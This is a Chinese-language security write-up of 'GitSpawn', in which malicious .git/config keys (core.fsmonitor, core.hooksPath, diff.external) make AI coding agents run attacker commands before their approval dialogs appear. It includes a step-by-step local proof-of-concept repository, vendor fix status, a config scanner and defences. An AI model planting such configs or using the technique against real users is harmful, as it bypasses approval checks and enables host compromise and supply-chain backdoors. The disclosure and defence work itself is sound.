2026 年 9 月 1 日,Manifold Security 公开了 GitSpawn:八条 CVE,横跨七款主流 AI 编码 Agent(Claude Code、Codex CLI、Cursor、Goose、Qwen Code、Grok Build、Hermes Agent),全部靠同一条 Git 配置键 core.fsmonitor 触发预信任代码执行。Manifold 博客里那句话比数字更扎人:"八条 CVE 不是重点。重点是零——零个 clean agent。"

七款 Agent 在 researcher 接触之前,没有一款对这个场景写过威胁模型。而 core.fsmonitor 是 2020 年 Git 2.28 就有的功能,VS Code 2021 年就修过一模一样的洞。六年过去,AI 编码 Agent 一个不落地全踩进同一个坑。

根因:不是一条配置,是三条

先说 core.fsmonitor。Git 2.28 引入 FSMonitor,作用是让 Git 不用逐个文件 stat,改问一个外部进程。配置长这样:

[core]
  fsmonitor = /path/to/monitor

git status、git diff、git add 只要遇到 core.fsmonitor,就调用这个外部程序。正常用途是挂 Watchman 这类文件监控守护进程。问题在于:这条配置写死在仓库自己的 .git/config 里。你克隆一个仓库,它自带 .git/config,里面 fsmonitor 指向攻击者的脚本。

AI 编码 Agent 什么时候触发?打开仓库的那一刻。Agent 会在后台跑 git status / git diff 感知当前上下文。在审批对话框弹出之前、在你看到任何提示之前、在信任确认之前,命令已经执行了。而且执行的不是 Agent 沙箱里的命令,是 Agent 进程在宿主机上 fork 的 Git 子进程,退出路径直通你的 shell。

威胁路径只有三跳:

仓库 .git/config  →  core.fsmonitor  →  Git 子进程任意命令执行

中间没有 Agent 层介入。Agent 根本不知道 Git 在背后干了什么。

Manifold 确认的可利用键不止 fsmonitor,还有两条:

  • core.hooksPath(Git 1.7.1,2010 年就有):把 hooks 目录重定向到攻击者控制的位置,git commit / git merge 时触发。
  • diff.external:外挂 diff 程序替代内置引擎。Agent 重度依赖 diff——看变更、生成 commit message、做 code review——每跑一次 diff,命令就执行一次。
维度 core.fsmonitor core.hooksPath diff.external
首次引入 Git 2.28 (2020) Git 1.7.1 (2010) Git 早期,无明确版本
触发命令 status/diff/add 等 index refresh commit/merge/push 等 hook 事件 任何 diff 调用
Agent 知情 不知情 不知情 不知情
经过沙箱 否 否 否
绕过审批 是 是 是

沦陷清单

Manifold 测了七款 Agent,结果如下:

Agent 路径数 CVE 修复状态
Claude Code 2 CVE-2026-55607 部分修复(fsmonitor 已修,ultrareview 未修)
OpenAI Codex CLI 1 CVE-2026-55608 已修复(0.131.0)
Cursor 1 CVE-2026-57555 已修复(未公开版本号)
Goose 1 CVE-2026-72718 完整修复(1.44.0)
Qwen Code 1 未分配 未修复(0.22.3 仍可利用)
Grok Build 1 未分配 未修复
Hermes Agent 1 未分配 未修复

三种修复策略:清、截、拒

修没修是一回事,怎么修暴露了各家对"Agent 安全边界在哪"的理解。

Goose(唯一完整修复)——副本隔离。 Goose 不信任仓库本身的 .git/config,在 tempfs 上建一个副本再执行 Git 命令,副本里的 config 是干净的。加上 GIT_CONFIG_PARAMETERS="" 覆盖本地配置,双重保护。这一下把 core.hooksPath、diff.external 所有可执行键一起清掉,不只是 fsmonitor。最彻底,也最贵——一个 2GB 的 monorepo,每次 git status 都要完整复制到 tempfs。Goose 选了"正确但贵",性能代价摆在那。

Claude Code——环境变量覆盖。 Anthropic 在 2.1.196 用 GIT_CONFIG_PARAMETERS="'core.fsmonitor='" 把 fsmonitor 清零。但它漏了 claude ultrareview 这条独立 CLI 路径:它走不同的 Git 调用,环境变量没覆盖到。Manifold 7 月 15 日报了这条,Anthropic 标记 internal duplicate,到 9 月 1 日的 2.1.252 仍未修。典型的"修了一个调用点,没修另一个"。

Codex CLI——原地正则 strip。 启动时用正则把 core.fsmonitor / core.hooksPath / diff.external 三段从 config 里删掉。问题很明显:只认已知三条,明天 Git 加一条新可执行键代码又得改;直接改文件内容,多线程同时读 config 有 race condition。CLI 0.131.0 修了。

Cursor——静默修复。 没有公开 CVE 编号,没有公告,没有 diff,只提一句"fixed in a later build"。推测和 Codex CLI 类似,但无法确认。

未修复的四款。 Qwen Code 最特殊:阿里云 SRC 接受了报告、承认漏洞存在,但到公开日 0.22.3 仍可利用,窗口期接近两个月。Grok Build 代表 xAI 把报告标记为 "informative",立场是"Agent 应该假设工作区不可信,安全责任在用户侧"。Hermes Agent 六次联系(三个 GitHub issue、两封邮件、一次 X DM)无回复。

三步复现

下面这套本地就能跑,不依赖网络基础设施。

步骤一:构造恶意仓库

mkdir -p gitspawn-demo/.git && cd gitspawn-demo
git init --initial-branch=main 2>/dev/null
cat > .git/config << 'CONFIG'
[core]
  repositoryformatversion = 0
  filemode = true
  bare = false
  fsmonitor = /tmp/gitspawn-poc.sh
[init]
  defaultBranch = main
CONFIG
cat > /tmp/gitspawn-poc.sh << 'SCRIPT'
#!/bin/bash
echo "当前用户: $(whoami)" > /tmp/gitspawn_poc_output.txt
echo "执行路径: $(pwd)" >> /tmp/gitspawn_poc_output.txt
SCRIPT
chmod +x /tmp/gitspawn-poc.sh

关键踩坑:git init 会覆写 .git/config,所以顺序必须是 init → 重写 config。缺了 init,Git 不认这是个仓库;缺了重写,恶意配置被冲掉。

步骤二:验证 Git 本身会执行 fsmonitor

cd gitspawn-demo
git status --porcelain
cat /tmp/gitspawn_poc_output.txt

输出文件被创建,说明 git status 确实执行了 core.fsmonitor 指向的程序,跑在宿主机上,有完整环境上下文。这一步证明问题不在 Agent 层,Git 本身就有这个能力。

步骤三:用任意命令行 Agent 打开仓库观察

cd /tmp/gitspawn-demo
claude   # 或 codex / cursor / goose

Agent 启动后立即 git status 感知上下文。如果 /tmp/gitspawn_poc_output.txt 被更新,说明审批对话框还没弹出来,代码已经在你机器上跑完了。

历史重演

GitSpawn 不是孤立事件。"本地配置能执行远程代码"是版本控制系统里反复出现的 pattern:

  • 2014 · CVE-2014-9390:git clone 执行任意命令。攻击者用 .Git/config 大小写变体绕过 core.protectNTFS,克隆时写入本地配置。这是 Git 自身的问题,跟 AI Agent 无关。
  • 2021 · CVE-2021-43891:VS Code 的 git autofetch 后台 git fetch 触发 fsmonitor。修复方案是设置 core.fsmonitor= 空字符串覆盖环境变量——和 Claude Code 的方案几乎一样,但早了五年。
  • 2023 · CVE-2023-32760:Git LFS 的 smudge filter 在 checkout 时执行,攻击者可在 .lfsconfig 指定恶意 filter 命令。

三个案例覆盖 clone、fetch、checkout 三条路径,走的是同一个信任模型缺口:Git 信任仓库本地配置的权限,高于用户信任模型的权限。 AI 编码 Agent 只是这个旧问题的新载体。

检测与防御

用户侧自查,一个 Python 脚本扫工作区里的 .git/config:

import os, configparser, sys

SUSPICIOUS = {
    'core.fsmonitor': '文件监控执行入口(GitSpawn)',
    'core.hookspath': 'Git hook 目录重定向',
    'diff.external': '外部 diff 程序',
    'core.sshcommand': 'SSH 命令重写',
}

def scan(root):
    bad = {}
    for dirpath, dirnames, _ in os.walk(root):
        if '.git' in dirnames:
            cfg = configparser.ConfigParser()
            cfg.read(os.path.join(dirpath, '.git', 'config'))
            hits = {f'{s}.{k}': v for s in cfg.sections()
                    for k in cfg[s] if f'{s}.{k}'.lower() in SUSPICIOUS}
            if hits:
                bad[dirpath] = hits
            dirnames.remove('.git')
    return bad

if __name__ == '__main__':
    for repo, hits in scan(sys.argv[1] if len(sys.argv) > 1 else '.').items():
        print(f'[!] {repo}:')
        for k, v in hits.items():
            print(f'  {SUSPICIOUS[k]}: {v[:60]}')

防御分三层。用户侧:export GIT_CONFIG_PARAMETERS="'core.fsmonitor=''core.hooksPath='" 全局覆盖,代价是禁用 Watchman 和正常 hooks。版本侧:Goose ≥ 1.44.0、Codex CLI ≥ 0.131.0、Claude Code ≥ 2.1.196(仅 fsmonitor),Qwen Code / Grok Build / Hermes Agent 目前无修复版本。企业侧:auditd 监控 .git/config 被非 git 进程修改,阻断开发环境到未知目的地的外连(挡不住执行,但能断数据外传)。

我的看法

这个漏洞真正值得想的,不是"Agent 又出洞了",而是信任模型的问题。Agent 的"沙箱 + 审批"模型假设它调用的所有工具都在可控范围内。但 Git 不是"工具",是一个生态,有自己的配置系统、执行模型、hook 机制。Agent 调用 Git 时,等于把执行控制权交给了 Git 的配置系统,而配置系统不受沙箱管辖。

Agent 安全边界:模型输出 → 审批对话框 → 代码执行
Git 安全边界:  仓库配置 → Git 子进程 → 代码执行

GitSpawn 打的正是这两个边界之间的缝。Agent 以为自己在跑一个安全的 git status,实际在跑一条不受控的命令。

更值得警惕的是供应链污染。Manifold 博客里那个场景:恶意仓库让 Agent 执行 fsmonitor 命令,命令在本地装了后门 npm 包,Agent 后续提交到 CI 的代码里带着这个后门,CI 产物被污染,用户拉新版本时被感染。传播路径从开发者桌面开始,比单纯的数据泄露严重得多。

落到行动上,我只记三条:第一,所有跑编码 Agent 的环境,先设 GIT_CONFIG_PARAMETERS 覆盖本地可执行配置键;第二,拉代码做 PR review 之外,别信任不可信来源的仓库;第三,如果你自己写 Agent,调系统 Git 的每一处——git status、git diff、git fetch、git commit、git merge——fork-exec 之前把本地配置清掉。VS Code 2021 年的方案(core.fsmonitor= 空字符串)现在还能直接抄,五年了没变过。

⚠️ 网络安全免责声明

本文内容仅供技术研究与安全学习之用。文中描述的漏洞分析、攻击链拆解和代码示例均基于公开披露的安全研究,旨在帮助开发者理解攻击原理、提升安全意识和防御能力。

请勿将本文所述技术用于任何未经授权的安全测试、渗透攻击或非法用途。任何因滥用本文信息而造成的法律后果,由使用者自行承担,与本文作者无关。

如发现系统安全漏洞,请通过合法渠道向相关厂商或平台报告,共同维护网络安全生态。